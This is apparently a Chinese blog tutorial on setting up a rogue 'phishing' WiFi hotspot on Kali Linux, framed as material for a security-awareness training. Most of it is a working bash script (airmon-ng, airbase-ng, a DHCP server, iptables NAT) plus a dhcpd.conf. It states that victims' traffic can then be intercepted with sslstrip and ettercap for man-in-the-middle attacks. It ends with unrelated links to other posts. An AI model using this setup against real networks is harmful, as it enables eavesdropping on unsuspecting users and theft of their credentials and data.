Linux系统搭建钓鱼WIFI教程,Kali linux创建钓鱼wifi热点
最近做了一个小的安全意识培训,目的是让小伙伴们谨防不信任的Wifi热点,用到了kali linux下的一些小工具。我是用物理机安装的kali linux,然后外接了一个无线网卡wlan2。
具体的技术细节记录一下,具体的shell脚本如下:
#! /bin/bash
case $1 in
“start”)
sleep 1
ifconfig wlan2 down
sleep 1
iwconfig wlan2 mode monitor
sleep 1
ifconfig wlan2 up
sleep 2
airmon-ng start wlan2
sleep 1
airbase-ng -e hellotest -c 11 wlan2
sleep 1
;;
“atup”)
sleep 1
ifconfig at0 up
sleep 1
ifconfig at0 10.0.0.1 netmask 255.255.255.0
sleep 1
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
sleep 1
echo “1” >/proc/sys/net/ipv4/ip_forward
sleep 2
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
service isc-dhcp-server start
sleep 1
;;
“startnat”)
sleep 1
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
sleep 1
iptables -A FORWARD -i wlan2 -o wlan0 -j ACCEPT
sleep 1
iptables -A FORWARD -p tcp –-syn -s 10.0.0.0/24 -j TCPMSS –set-mss 1356
sleep 2
;;*)
echo “Usage $0 {start|atup|startnat}”
;;
esac
将以上shell脚本保存为cr_wifi.sh,然后依次执行:
./cr_wifi.sh start
./cr_wifi atup
./cr_wifi startnat
执行完之后就可以完成钓鱼热点的创建,其他人链接热点上网的流量都会经过at0,然后利用sslstrip,ettercap就可以进行中间人攻击的一些操作了。
以上shell脚本主要有三个部分:
1,将外接无线网卡的模式修改成监听模式,创建一个SSID为hellotest的无线热点;
2,将网络流量虚拟到at0这块网卡上;启动配置好的DHCP服务器;
3,添加iptables规则,配置NAT。
执行shell脚本之前需要现配置好dhcp服务,DHCP用的是isc-dhcp-server,需要安装一下,它的配置文件(/etc/dhcp/dhcpd.conf)如下:
ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.1 10.0.0.25;
option domain-name-servers 114.114.114.114;
# option domain-name internal.example.org;
option routers 10.0.0.1;
option broadcast-address 10.0.0.250;
default-lease-time 600;
max-lease-time 7200;
}
Linux系统搭建钓鱼WIFI教程,Kali linux创建钓鱼wifi热点相关推荐
- kali linux 装u盘安装教程,kali linux系统的安装教程(实现便于携带的外置盘系统)...
kali linux系统的安装教程(实现便于携带的外置盘系统) kali linux系统的安装教程 我最开始想通过虚拟机安装在硬盘上,实现双系统.后来希望通过将系统安装在移动硬盘上,实现可随身携带的特 ...
- linux系统输入法怎么安装教程视频教程,Linux怎么安装中文输入法
受够了Linux那不友好的输入法?想要在Linux上面安装中文输入法?小编为大家分享了Linux安装中文输入法的解决方法,下面大家跟着学习啦小编一起来了解一下吧. Linux安装中文输入法 Ubunt ...
- linux系统c 如何使用教程,基于Linux操作系统的C语言编译和调试方法解析
摘 要:文章先介绍了GCC编译器相关内容,包括GCC编译程序和GCC编译选项,随后介绍了GDB调试程序相关内容,包括GDB具体操作和GDB基础命令,最后介绍了C语言编写中的注意事项,希望能给相关人士提 ...
- 路由器 刷 linux系统版本,路由器能刷kali linux固件么
以发行版Ubuntu为 例(如果你在Windows下,可下载Ubuntu的ISO文件,再用wubi安装Ubuntu,可免去重新分区的麻烦),下载Buffalo WHR-G300N V2路由器的FTP版 ...
- 路由器能刷Linux系统吗,路由器能刷kali linux固件么
满意答案 ufh543 2013.02.20 采纳率:48% 等级:11 已帮助:7153人 以发行版Ubuntu为 例(如果你在Windows下,可下载Ubuntu的ISO文件,再用wubi安 ...
- 软raid1 重新同步_软RAID搭建基于linux系统搭建RAID5
实验二.软RAID搭建-基于linux系统搭建RAID5 实验要求: 1)创建RAID5; 2)添加一个热备盘sdj 3)指定chunk为32k 4停止阵列,重新激活阵列 5使用热备盘,扩展阵列容量, ...
- linux系统搭建redis cluster集群 切片集群 教程 centOS系统redis6
目录 一.说明 二.环境信息 三.介绍 四.部署流程 五.测试 一.说明 该教程为redis集群-cluster切片集群部署方式,不包含redis的安装过程,如需redis安装教程请移步以下链接: & ...
- Linux系统简介-虚拟机安装教程(保姆级)-Linux常用命令
Linux系统简介-虚拟机安装教程-Linux常用命令 1.Linux系统简介 1.1Linux系统的历史 1.2Linux系统的特点和优势 1.3Linux发行版的分类 2.虚拟机的安装教程 2.1 ...
- linux宝塔搭建网站,宝塔Linux面板搭建网站入门教程五(宝塔Linux面板安装WordPress博客程序)...
本文于 2021-04-01 00:04 更新,本文內容具有時效性,如有失效,請在博客站內搜相關商家名稱,即可查看到關於此商家的最新優惠活動! 國外商家建議使用"谷歌瀏覽器"訪問, ...
最新文章
- Erlang之父给程序员的两点忠告 | 缅怀
- 劳动节特别活动,钉钉、支付宝合种,2-4天领证,限量9个名额
- ASP.NET 实现上传EXCEL,利用NOPI操作,转换得到DataTable
- 获取系统当前日期时间
- Struts2+Spring4+Hibernate4项目整合
- 小程序 局域网 服务器,微信小程序网络请求request局域网下的开发测试
- 记一次简单的企业微信推送消息开发(第三方应用开发)
- marshmallow——快速入门
- 服务器bios界面usb无线网卡,BIOS怎么开启无线网卡
- 2017年Q1中国服务器市场研究报告
- signature=54cb1c123491dc1a268a21f3502cccfc,汉隶《曹全碑》精讲精练
- 使用python中的pymrmr模块来进行特征提取,深入学习mRMR(最大相关最小冗余准则)
- 基于ZYNQ+AD9361的软件无线电平台设计与实现 (2)
- Android动画特效之Animator属性动画实现
- 22款奔驰C260升级ACC自适应巡航,高速省心不少
- 科学家利用计算机模型,科学家开发出最详细计算机模型 揭示130亿年宇宙奥秘...
- “蔚来杯“2022牛客暑期多校训练营1
- 扎拉赞恩 服务器 微信群,魔兽世界怀旧服1至60级练级任务攻略——部落篇1
- 微信公众号机器人开发
- Access数据库转换为SQL Server 2000数据库